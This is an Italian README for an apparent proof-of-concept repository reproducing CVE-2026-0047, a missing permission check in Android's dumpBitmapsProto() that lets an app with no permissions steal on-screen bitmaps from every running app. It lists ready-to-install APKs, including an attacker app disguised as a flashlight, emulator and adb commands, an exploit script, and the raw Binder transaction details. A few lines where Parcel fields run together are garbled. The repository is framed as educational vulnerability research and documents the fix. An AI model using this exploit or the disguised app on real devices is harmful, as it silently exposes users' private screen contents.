
CVE-2026-0047: Controllo delle autorizzazioni mancante in ActivityManagerService.dumpBitmapsProto() — ruba i bitmap dell'interfaccia utente da ogni app in esecuzione con zero autorizzazioni (Android 16 QPR2 Beta)
Mucchio di bitmap rubate da ogni app in esecuzione — zero autorizzazioni, zero interazione utente.
Un controllo enforceCallingOrSelfPermission(DUMP) mancante in ActivityManagerService.dumpBitmapsProto() consente a qualsiasi app installata di esfiltrare le bitmap dell'interfaccia utente da tutti i processi in esecuzione su Android 16 QPR2 Beta (Baklava).
Nota: Non abbiamo scoperto questa vulnerabilità. Tutto il merito per averla trovata e segnalata responsabilmente va ai ricercatori originali. Questo repository contiene la nostra analisi indipendente della patch, riproduzione e documento educativo per aiutare la comunità della sicurezza a comprendere la classe del bug e le tecniche di sfruttamento coinvolte.
| CVE | CVE-2026-0047 |
| Gravità | Critico — CVSS 8.4 |
| Componente | ActivityManagerService.dumpBitmapsProto() |
| Causa principale | Controllo delle autorizzazioni mancante (CWE-280) |
| Impatto | Qualsiasi app senza autorizzazioni ruba bitmap dell'interfaccia utente da tutte le app in esecuzione |
| Interessato | Android 16 QPR2 Beta 1–3 (Baklava), patch level < 2026-03-01 |
| Corretto | Bollettino sulla sicurezza Android di marzo 2026 |
├── app/ # PoC exploit app (audit tool UI)
├── attacker/ # "Flashlight Pro" — disguised attacker app
├── apk/ # Pre-built APKs (ready to install)
│ ├── cve-2026-0047-poc.apk
│ └── flashlight-pro-attacker.apk
├── exploit.sh # Single-shot exploit script
├── gradle/ # Gradle wrapper
└── README.md
Hai bisogno di un emulatore Android 16 QPR2 Beta (Baklava) con un livello di patch di sicurezza precedente a 2026-03-01:
# Download the vulnerable system image
sdkmanager "system-images;android-Baklava;google_apis;arm64-v8a"
# Create an AVD
avdmanager create avd -n baklava -k "system-images;android-Baklava;google_apis;arm64-v8a"
# Boot the emulator
emulator -avd baklava &
# Verify the patch level is pre-fix
adb shell getprop ro.build.version.security_patch
# Anything before 2026-03-01 is vulnerable
# Full run: set up emulator, build, exploit, extract stolen bitmaps
./exploit.sh --setup-emulator
# Already have a Baklava emulator running?
./exploit.sh
# Skip build, just run exploit
./exploit.sh --skip-build
# Install the PoC app
adb install apk/cve-2026-0047-poc.apk
# Open some apps (Settings, email, etc.) to have visible UI
adb shell am start -n com.android.settings/.Settings
# Launch the PoC
adb shell am start -n com.poc.cve20260047/.MainActivity
# Tap "Exploit dumpBitmapsProto()" button
# Install the disguised attacker app — declares ZERO permissions
adb install apk/flashlight-pro-attacker.apk
# Launch it — exfiltration happens silently on startup
adb shell am start -n com.poc.cve20260047.attacker/.MainActivity
Sonda Binder grezza — Il codice di transazione #117 sul servizio activity corrisponde a dumpBitmapsProto(). Inviarlo senza argomenti causa una NullPointerException all'interno di AMS (non una SecurityException), dimostrando che il corpo del metodo viene eseguito senza alcun controllo delle autorizzazioni.
Exploit Binder grezzo — Usiamo IBinder.transact() per inviare un Parcel creato manualmente direttamente ad AMS. Questo bypassa completamente le restrizioni delle API nascoste di Android — nessuna impostazione hidden_api_policy necessaria. Il Parcel contiene:
android.app.IActivityManager)ParcelFileDescriptor (pipe write end)userId = -2 (USER_CURRENT)Su un emulatore Baklava (BP41.250725.007, patch 2025-08-05) con Impostazioni, Orologio e File aperti:
Google ha aggiunto enforceCallingOrSelfPermission(DUMP) come prima riga di dumpBitmapsProto(), quindi i chiamanti non privilegiati ora ottengono una SecurityException prima che qualsiasi dato venga accesso.
Ricerca e PoC di Mobile Hacking Lab. Abbiamo riprodotto questa vulnerabilità in modo indipendente per scopi educativi.
Questa proof of concept è fornita solo per scopi educativi e di ricerca sulla sicurezza autorizzata. Usala solo su dispositivi e ambienti di tua proprietà o per cui hai esplicita autorizzazione a testare. Gli autori non sono responsabili per qualsiasi uso improprio.
dumpAll = trueformat = "png"Estrazione delle bitmap — AMS scrive dati protobuf contenenti bitmap PNG nel pipe. Scansioniamo i byte magici PNG (89 50 4E 47) e i trailer IEND per estrarre le singole immagini.